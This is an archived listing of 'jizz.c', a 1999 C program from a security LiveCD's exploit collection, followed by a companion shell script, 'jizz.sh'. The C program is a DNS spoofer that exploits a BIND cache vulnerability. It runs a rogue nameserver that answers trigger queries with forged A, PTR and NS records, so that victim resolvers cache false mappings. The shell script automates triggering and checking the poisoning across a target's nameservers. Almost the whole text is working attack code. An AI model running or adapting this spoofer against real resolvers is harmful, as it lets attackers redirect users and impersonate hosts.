home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / bind / jizz.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  20KB  |  665 lines

  1. #define VERSION ".01b"
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <stdarg.h>
  5. #include <strings.h>
  6. #include <errno.h>
  7. #include <sys/socket.h>
  8. #include <sys/types.h>
  9. #include <netinet/in.h>
  10.  
  11. #define MAXBUFSIZE        64*1024
  12.  
  13. #define DC_A            1
  14. #define DC_NS           2
  15. #define DC_CNAME        5
  16. #define DC_SOA          6
  17. #define DC_WKS          11
  18. #define DC_PTR          12
  19. #define DC_HINFO        13
  20. #define DC_MINFO        14
  21. #define DC_MX           15
  22. #define DC_TXT          16
  23.  
  24. typedef struct
  25.   {
  26.     unsigned short id;
  27.  
  28. unsigned char  rd:
  29.     1;           /* recursion desired */
  30. unsigned char  tc:
  31.     1;           /* truncated message */
  32. unsigned char  aa:
  33.     1;           /* authoritive answer */
  34. unsigned char  opcode:
  35.     4;       /* purpose of message */
  36. unsigned char  qr:
  37.     1;           /* response flag */
  38.  
  39. unsigned char  rcode:
  40.     4;        /* response code */
  41. unsigned char  unused:
  42.     2;       /* unused bits */
  43. unsigned char  pr:
  44.     1;           /* primary server required (non standard) */
  45. unsigned char  ra:
  46.     1;           /* recursion available */
  47.  
  48.     unsigned short qdcount;
  49.     unsigned short ancount;
  50.     unsigned short nscount;
  51.     unsigned short arcount;
  52.   }
  53. dnsheaderrec;
  54.  
  55. typedef struct
  56.   {
  57.     unsigned short labellen;
  58.     char label[256];
  59.     unsigned short type;
  60.     unsigned short class;
  61.     unsigned long ttl;
  62.     unsigned short buflen;
  63.     char buf[256];
  64.   }
  65. dnsrrrec;
  66.  
  67. typedef struct
  68.   {
  69.     dnsheaderrec h;
  70.  
  71.     dnsrrrec qd[20];
  72.     dnsrrrec an[20];
  73.     dnsrrrec ns[20];
  74.     dnsrrrec ar[20];
  75.   }
  76. dnsrec;
  77.  
  78. char *dnssprintflabel(char *s, char *buf, char *p);
  79. char *dnsaddlabel(char *p, char *label);
  80. void dnstxt2rr(dnsrrrec *rr, char *b);
  81. void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...);
  82. char *dnsaddbuf(char *p, void *buf, short len);
  83. int dnsmakerawpacket(dnsrec *dns, char *buf);
  84.  
  85. unsigned long rev_long(l) unsigned long l;
  86. {
  87.   unsigned long i = 0;
  88.   int n = sizeof(i);
  89.   while (n--)
  90.     {
  91.       i = (i << 8) | (l & 255);
  92.       l >>= 8;
  93.     }
  94.   return i;
  95. }
  96.  
  97. char *dnssprintflabel(char *s, char *buf, char *p)
  98. {
  99.   unsigned short i,len;
  100.   char *b=NULL;
  101.  
  102.   len=(unsigned short)*(p++);
  103.   while (len)
  104.     {
  105.       while (len >= 0xC0)
  106.         {
  107.           if (!b)
  108.             b=p+1;
  109.           p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
  110.           len=(unsigned short)*(p++);
  111.         }
  112.  
  113.       for (i=0;i<len;i++)
  114.         *(s++)=*(p++);
  115.  
  116.       *(s++)='.';
  117.  
  118.       len=(unsigned short)*(p++);
  119.     }
  120.  
  121.   *(s++)=0;
  122.   if (b)
  123.     return(b);
  124.  
  125.   return(p);
  126. }
  127.  
  128. char *dnsaddlabel(char *p, char *label)
  129. {
  130.   char *p1;
  131.  
  132.   while ((*label) && (label))
  133.     {
  134.       if ((*label == '.') && (!*(label+1)))
  135.         break;
  136.  
  137.       p1=strchr(label,'.');
  138.  
  139.       if (!p1)
  140.         p1=strchr(label,0);
  141.  
  142.       *(p++)=p1-label;
  143.       memcpy(p,label,p1-label);
  144.       p+=p1-label;
  145.  
  146.       label=p1;
  147.       if (*p1)
  148.         label++;
  149.     }
  150.   *(p++)=0;
  151.  
  152.   return(p);
  153. }
  154.  
  155. #define DEFAULTTTL 60*10
  156.  
  157. void dnstxt2rr(dnsrrrec *rr, char *b)
  158. {
  159.   char *tok[20], *p;
  160.   unsigned short numt=0, i;
  161.   static char *buf=NULL;
  162.  
  163.   if (!buf)
  164.     {
  165.       if ((buf=malloc(1024)) == NULL)
  166.         {
  167.           perror("malloc");
  168.           exit(-1);
  169.         }
  170.     }
  171.  
  172.   strcpy(buf,b);
  173.   p=strtok(buf," \t");
  174.   do
  175.     {
  176.       tok[numt++]=p;
  177.     }
  178.   while (p=strtok(NULL," \t"));
  179.  
  180.   p=dnsaddlabel(rr->label,tok[0]);
  181.   rr->labellen=p-rr->label;
  182.  
  183.   i=1;
  184.  
  185.   if (isdigit(*p))
  186.     rr->ttl=htonl(atol(tok[i++]));
  187.   else
  188.     rr->ttl=htonl(DEFAULTTTL);
  189.  
  190.   if (strcmp(tok[i],"IN") == 0)
  191.     i++;
  192.  
  193.   rr->class=htons(1);
  194.  
  195.   if (strcmp(tok[i],"A") == 0)
  196.     {
  197.       i++;
  198.       rr->type=htons(DC_A);
  199.       if (i < numt)
  200.         {
  201.           inet_aton(tok[i],rr->buf);
  202.           rr->buflen=4;
  203.         }
  204.       else
  205.         rr->buflen=0;
  206.       return;
  207.     }
  208.  
  209.   if (strcmp(tok[i],"CNAME") == 0)
  210.     {
  211.       i++;
  212.       rr->type=htons(DC_CNAME);
  213.       if (i < numt)
  214.         {
  215.           p=dnsaddlabel(rr->buf,tok[i]);
  216.           rr->buflen=p-rr->buf;
  217.         }
  218.       else
  219.         rr->buflen=0;
  220.       return;
  221.     }
  222.  
  223.   if (strcmp(tok[i],"NS") == 0)
  224.     {
  225.       i++;
  226.       rr->type=htons(DC_NS);
  227.       if (i < numt)
  228.         {
  229.           p=dnsaddlabel(rr->buf,tok[i]);
  230.           rr->buflen=p-rr->buf;
  231.         }
  232.       else
  233.         rr->buflen=0;
  234.       return;
  235.     }
  236.  
  237.   if (strcmp(tok[i],"PTR") == 0)
  238.     {
  239.       i++;
  240.       rr->type=htons(DC_PTR);
  241.       if (i < numt)
  242.         {
  243.           p=dnsaddlabel(rr->buf,tok[i]);
  244.           rr->buflen=p-rr->buf;
  245.         }
  246.       else
  247.         rr->buflen=0;
  248.       return;
  249.     }
  250.  
  251.   if (strcmp(tok[i],"MX") == 0)
  252.     {
  253.       i++;
  254.       rr->type=htons(DC_MX);
  255.       if (i < numt)
  256.         {
  257.           p=rr->buf;
  258.           *((unsigned short *)p)=htons(atoi(tok[i++]));
  259.           p+=2;
  260.           p=dnsaddlabel(p,tok[i]);
  261.           rr->buflen=p-rr->buf;
  262.         }
  263.       else
  264.         rr->buflen=0;
  265.       return;
  266.     }
  267. }
  268.  
  269. void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...)
  270. {
  271.   int i;
  272.   va_list va;
  273.  
  274.   dns->h.qdcount=htons(qdcount);
  275.   dns->h.ancount=htons(ancount);
  276.   dns->h.nscount=htons(nscount);
  277.   dns->h.arcount=htons(arcount);
  278.   dns->h.rcode=0;
  279.  
  280.   va_start(va, arcount);
  281.  
  282.   for (i=0;i<qdcount;i++)
  283.     dnstxt2rr(&dns->qd[i],va_arg(va, char *));
  284.  
  285.   for (i=0;i<ancount;i++)
  286.     dnstxt2rr(&dns->an[i],va_arg(va, char *));
  287.  
  288.   for (i=0;i<nscount;i++)
  289.     dnstxt2rr(&dns->ns[i],va_arg(va, char *));
  290.  
  291.   for (i=0;i<arcount;i++)
  292.     dnstxt2rr(&dns->ar[i],va_arg(va, char *));
  293.  
  294.  
  295.   va_end(va);
  296. }
  297.  
  298. char *dnsaddbuf(char *p, void *buf, short len)
  299. {
  300.   memcpy(p,buf,len);
  301.   return(p+len);
  302. }
  303.  
  304. int dnsmakerawpacket(dnsrec *dns, char *buf)
  305. {
  306.   char *p;
  307.   int i;
  308.   unsigned short len;
  309.  
  310.   memcpy(buf,&dns->h,sizeof(dnsheaderrec));
  311.  
  312.   p=buf+sizeof(dnsheaderrec);
  313.  
  314.   /********** Query ***********/
  315.   for (i=0;i<ntohs(dns->h.qdcount);i++)
  316.     {
  317.       p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen);
  318.       p=dnsaddbuf(p,&dns->qd[i].type,2);
  319.       p=dnsaddbuf(p,&dns->qd[i].class,2);
  320.     }
  321.  
  322.   /********** Answer ***********/
  323.   for (i=0;i<ntohs(dns->h.ancount);i++)
  324.     {
  325.       p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen);
  326.       p=dnsaddbuf(p,&dns->an[i].type,2);
  327.       p=dnsaddbuf(p,&dns->an[i].class,2);
  328.       p=dnsaddbuf(p,&dns->an[i].ttl,4);
  329.       len=htons(dns->an[i].buflen);
  330.       p=dnsaddbuf(p,&len,2);
  331.       p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen);
  332.     }
  333.  
  334.   /********** Nameservers ************/
  335.   for (i=0;i<ntohs(dns->h.nscount);i++)
  336.     {
  337.       p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen);
  338.       p=dnsaddbuf(p,&dns->ns[i].type,2);
  339.       p=dnsaddbuf(p,&dns->ns[i].class,2);
  340.       p=dnsaddbuf(p,&dns->ns[i].ttl,4);
  341.       len=htons(dns->ns[i].buflen);
  342.       p=dnsaddbuf(p,&len,2);
  343.       p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen);
  344.     }
  345.  
  346.   /********** Additional ************/
  347.   for (i=0;i<ntohs(dns->h.arcount);i++)
  348.     {
  349.       p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen);
  350.       p=dnsaddbuf(p,&dns->ar[i].type,2);
  351.       p=dnsaddbuf(p,&dns->ar[i].class,2);
  352.       p=dnsaddbuf(p,&dns->ar[i].ttl,4);
  353.       len=htons(dns->ar[i].buflen);
  354.       p=dnsaddbuf(p,&len,2);
  355.       p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen);
  356.     }
  357.  
  358.   return(p-buf);
  359. }
  360.  
  361. void main(int argc, char *argv[])
  362. {
  363.   int sock, fromlen, numread, len, query;
  364.   struct sockaddr_in sa, from, to;
  365.   struct in_addr rev;
  366.   char *buf, *sendbuf;
  367.   char *domainnamebuf;
  368.   dnsheaderrec *dns;
  369.   char *p;
  370.   dnsrec dnsh;
  371.  
  372.   char *beginhost_QD, *beginhost_A, *beginhost_srch;
  373.   char *fakenshost_A, *fakens_DOM;
  374.   char *spoofedip_A, *spoofedip_PTR, *spoofedip_rev;
  375.  
  376.   printf("jizz %s -- dns spoofer (BIND cache vuln.)\n",VERSION);
  377.   printf("by nimrood\n\n");
  378.   if (argc != 7)
  379.     {
  380.       printf("usage: \n%s <beginhost> <fakenshost> <fakensip> <fakensdom> <spoofedip> <spoofedhost>\n",argv[0]);
  381.       printf("    beginhost  :     requested to initiate false caching, ex: begin.ib6ub9.com\n");
  382.       printf("    fakenshost :     server name to answer false PTR's, ex: ns.ib6ub9.com\n");
  383.       printf("    fakensip   :     IP of server name to answer false PTR's, ex: 205.160.29.19\n");
  384.       printf("    fakensdom  :     domain name false name server controls, ex: ib6ub9.com\n");
  385.       printf("    spoofedip  :     IP of machine you want to spoof from, ex: 204.154.2.93\n");
  386.       printf("    spoofedhost:     name you want to spoof, ex: teak.0wns.j00\n\n");
  387.       exit(-1);
  388.     }
  389.  
  390.   if ((beginhost_QD = malloc((strlen(argv[1]))+5+1)) == NULL)
  391.     {
  392.       perror("malloc");
  393.       exit(-1);
  394.     }
  395.  
  396.   if ((beginhost_A = malloc(strlen(argv[1])+15+1)) == NULL)
  397.     {
  398.       perror("malloc");
  399.       exit(-1);
  400.     }
  401.  
  402.   if ((beginhost_srch = malloc(strlen(argv[1])+1+1)) == NULL)
  403.     {
  404.       perror("malloc");
  405.       exit(-1);
  406.     }
  407.  
  408.   if ((fakenshost_A = malloc(strlen(argv[2])+strlen(argv[3])+6+1)) == NULL)
  409.     {
  410.       perror("malloc");
  411.       exit(-1);
  412.     }
  413.  
  414.   if ((fakens_DOM = malloc(strlen(argv[4])+strlen(argv[2])+4+1)) == NULL)
  415.     {
  416.       perror("malloc");
  417.       exit(-1);
  418.     }
  419.  
  420.   if ((spoofedip_A = malloc(strlen(argv[6])+strlen(argv[5])+6+1)) == NULL)
  421.     {
  422.       perror("malloc");
  423.       exit(-1);
  424.     }
  425.  
  426.   if ((spoofedip_PTR = malloc(strlen(argv[5])+strlen(argv[6])+21+1)) == NULL)
  427.     {
  428.       perror("malloc");
  429.       exit(-1);
  430.     }
  431.  
  432.   if ((spoofedip_rev = malloc(strlen(argv[5])+1)) == NULL)
  433.     {
  434.       perror("malloc");
  435.       exit(-1);
  436.     }
  437.  
  438.   if ((buf = malloc(MAXBUFSIZE)) == NULL)
  439.     {
  440.       perror("malloc");
  441.       exit(-1);
  442.     }
  443.  
  444.   if ((sendbuf = malloc(MAXBUFSIZE)) == NULL)
  445.     {
  446.       perror("malloc");
  447.       exit(-1);
  448.     }
  449.  
  450.   if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL)
  451.     {
  452.       perror("malloc");
  453.       exit(-1);
  454.     }
  455.  
  456.   if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
  457.     {
  458.       perror("socket");
  459.       exit(-1);
  460.     }
  461.  
  462.   beginhost_QD = strcpy(beginhost_QD,argv[1]);
  463.   beginhost_QD = strcat(beginhost_QD, " IN A");
  464.  
  465.   beginhost_A = strcat(strcpy(beginhost_A,beginhost_QD), " 127.0.0.1");
  466.  
  467.   beginhost_srch = strcat(strcpy(beginhost_srch,argv[1]), ".");
  468.   printf("%s\n",beginhost_srch);
  469.  
  470.   fakenshost_A = strcat(strcpy(fakenshost_A,argv[2]), " IN A ");
  471.   fakenshost_A = strcat(fakenshost_A, argv[3]);
  472.  
  473.   fakens_DOM = strcat(strcpy(fakens_DOM,argv[4]), " IN NS ");
  474.   fakens_DOM = strcat(fakens_DOM,argv[2]);
  475.  
  476.   spoofedip_A = strcat(strcpy(spoofedip_A,argv[6]), " IN A ");
  477.   spoofedip_A = strcat(spoofedip_A,argv[5]);
  478.  
  479.   rev.s_addr = rev_long(inet_addr(argv[5]));
  480.   spoofedip_PTR = strcat(strcpy(spoofedip_PTR,(char *)inet_ntoa(rev.s_addr)), ".IN-ADDR.ARPA IN PTR ");
  481.   spoofedip_PTR = strcat(spoofedip_PTR,argv[6]);
  482.  
  483.   printf("%s\n%s\n%s\n%s\n%s\n%s\n",
  484.          beginhost_QD,beginhost_A,fakenshost_A,fakens_DOM,spoofedip_A,spoofedip_PTR);
  485.  
  486.   sa.sin_family = AF_INET;
  487.   /*  sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */
  488.   sa.sin_addr.s_addr = INADDR_ANY;
  489.   sa.sin_port = htons(53);
  490.  
  491.   if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0)
  492.     {
  493.       perror("bind");
  494.       exit(-1);
  495.     }
  496.  
  497.   setvbuf(stdout,NULL,_IONBF,0);
  498.  
  499.   while (1)
  500.     {
  501.       fromlen=sizeof(from);
  502.       if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from, &fromlen)) < 0)
  503.         {
  504.           perror("recvfrom");
  505.           continue;
  506.         }
  507.  
  508.       /* Kludge to stop that damn router */
  509.       if (from.sin_addr.s_addr == inet_addr("206.126.32.10"))
  510.         continue;
  511.  
  512.       dns=(dnsheaderrec *)buf;
  513.  
  514.       if (dns->qr)
  515.         continue;
  516.  
  517.       p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]);
  518.       query=ntohs(*(unsigned short *)p);
  519.       printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(from.sin_port),domainnamebuf,query);
  520.  
  521.       if (strcasecmp(domainnamebuf,beginhost_srch) == 0)
  522.         {
  523.           dnsbuildpacket(&dnsh,1,4,1,1,
  524.                          beginhost_QD,
  525.  
  526.                          beginhost_A,
  527.                          spoofedip_A,
  528.                          spoofedip_PTR,
  529.                          fakenshost_A,
  530.  
  531.                          fakens_DOM,
  532.  
  533.                          "www.yahoo.com IN A 255.255.255.255");
  534.  
  535.         }
  536.       else
  537.         {
  538.           /* Error */
  539.           dnsh.h.rcode=5;
  540.           strcat(domainnamebuf," IN A");
  541.           dnsbuildpacket(&dnsh,1,0,0,0,
  542.                          domainnamebuf);
  543.         }
  544.       dnsh.qd[0].type=htons(query);
  545.  
  546.       dnsh.h.id=((dnsheaderrec *)buf)->id;
  547.       dnsh.h.qr=1;
  548.       dnsh.h.aa=1;
  549.  
  550.       len=dnsmakerawpacket(&dnsh,sendbuf);
  551.  
  552.       to.sin_family=AF_INET;
  553.       to.sin_addr.s_addr=from.sin_addr.s_addr;
  554.       to.sin_port=from.sin_port;
  555.  
  556.       if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0)
  557.         {
  558.           perror("sendto");
  559.           continue;
  560.         }
  561.     }
  562. }
  563. /*                   www.hack.co.za              [1999]*/
  564.  
  565. --- begin jizz.sh ---
  566.  
  567. #!/bin/sh
  568. #
  569. # This script requires perl and the latest version of sh-utils for calculations,
  570. # as well as other various standard unix utilities.
  571. #
  572. # This interface DOES NOT require you to know the cacheing nameserver of
  573. # the destination server, it will attempt to calculate it for you.
  574. #
  575.  
  576. case "${3}" in
  577.   "")
  578.   echo
  579.   echo "Intelligent DNS spoofer interface, by philbert."
  580.   echo "(philbert@DataTrax.Net)"
  581.   echo
  582.   echo "usage: $0 <your ip> <spoofed domain> <irc/misc server>"
  583.   echo "or: $0 <your ip> <spoofed domain> -ns <NS to cache fake domain>"
  584.   echo
  585.   exit 1
  586.   ;;
  587.   esac
  588.  
  589. # ----------------------------------------------------------
  590. # Set the configurations for your nameserver here
  591.  
  592. # The name of the nameserver this is running on:
  593.   NS=ns3.datatrax.net
  594.  
  595. # The IP address of the nameserver this is running on:
  596.      IP=1.2.3.4
  597.  
  598. # A domain that this nameserver is strictly authorative for:
  599.         AUTH=spoof.datatrax.net
  600.  
  601. # End of user configuration
  602. # ----------------------------------------------------------
  603.  
  604.              RAND=$RANDOM
  605.                   export RAND
  606.  
  607.                   jizz $RAND.$AUTH. $NS $IP $AUTH $1 $2. >/dev/null &
  608.                   sleep 1
  609.  
  610.                   if [ "$3" = "-ns" ]; then
  611.  
  612.                   echo "echo "trying to cache $2 on $4..."
  613.                   nslookup -type=soa $RAND.$AUTH. $4 >/dev/null 2>&1
  614.  
  615.                   echo "$1 is cached on $2 as `nslookup $1 $2 | grep Name | cut -c10-`
  616.  
  617.                   exit 1
  618.                   else false ; fi
  619.  
  620.                     NS=`host $3. | perl -n -e 's/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/print $1/e'`
  621.                        if [ "NS" = "" ]; then NS=$3; else NS=$NS; fi
  622.  
  623.                                                                  echo "trying to cache $2 on the server itself..."
  624.  
  625.                                                                  nslookup -type=soa $RAND.$AUTH. $NS >/dev/null 2>&1
  626.  
  627.                                                                                 TEST=`nslookup $1 $3 | grep Name | cut -c10-`
  628.  
  629.                                                                                      if [ "$TEST" = "$2" ]; then
  630.                                                                                        echo "Success!, $2 is cached on $3 as $1"
  631.                                                                                        else echo "Failed..."; fi
  632.  
  633.                                                                                          RDEST=`nslookup $NS | grep Name | cut -c10-`
  634.                                                                                                if [ "$RDEST" = "" ]; then RDEST=$3; else RDEST=$RDEST; fi
  635.  
  636.                                                                                                                                     NS=`dnsquery $RDEST | grep "IN NS" | cut -f3- | cut -f2- -dS`
  637.                                                                                                                                        if [ "$NS" = "" ]; then
  638.                                                                                                                                          NS=`echo $RDEST | cut -f2- -d.`
  639.                                                                                                                                             NS=`dnsquery $NS | grep "IN NS" | cut -f3- | cut -f2- -dS`
  640.                                                                                                                                                else NS=$NS; fi
  641.  
  642.                                                                                                                                                          CRUNCH=1
  643.  
  644.                                                                                                                                                                 while true ; do
  645.  
  646.                                                                                                                                                                     TARGET=`echo $NS | cut -f$CRUNCH -d" "`
  647.  
  648.                                                                                                                                                                            if [ "$TARGET" = "" ]; then
  649.                                                                                                                                                                              killall -9 jizz >/dev/null &
  650.                                                                                                                                                                              exit 1; else TARGET=$TARGET; fi
  651.  
  652.                                                                                                                                                                                                    echo "trying to cache $2 on $TARGET..."
  653.                                                                                                                                                                                                    nslookup -type=soa $RAND.$AUTH. $TARGET >/dev/null 2>&1
  654.                                                                                                                                                                                                                   TEST=`nslookup $1 $TARGET | grep Name | cut -c10-`
  655.  
  656.                                                                                                                                                                                                                        if [ "$TEST" = "$2" ]; then
  657.                                                                                                                                                                                                                          echo "Success!, $2 is cached on $TARGET as $1"
  658.                                                                                                                                                                                                                          else echo "Failed..."; fi
  659.  
  660.                                                                                                                                                                                                                            CRUNCH=`expr $CRUNCH + 1`
  661.  
  662.                                                                                                                                                                                                                                   done
  663.  
  664.                                                                                                                                                                                                                                   --- end jizz.sh ---
  665.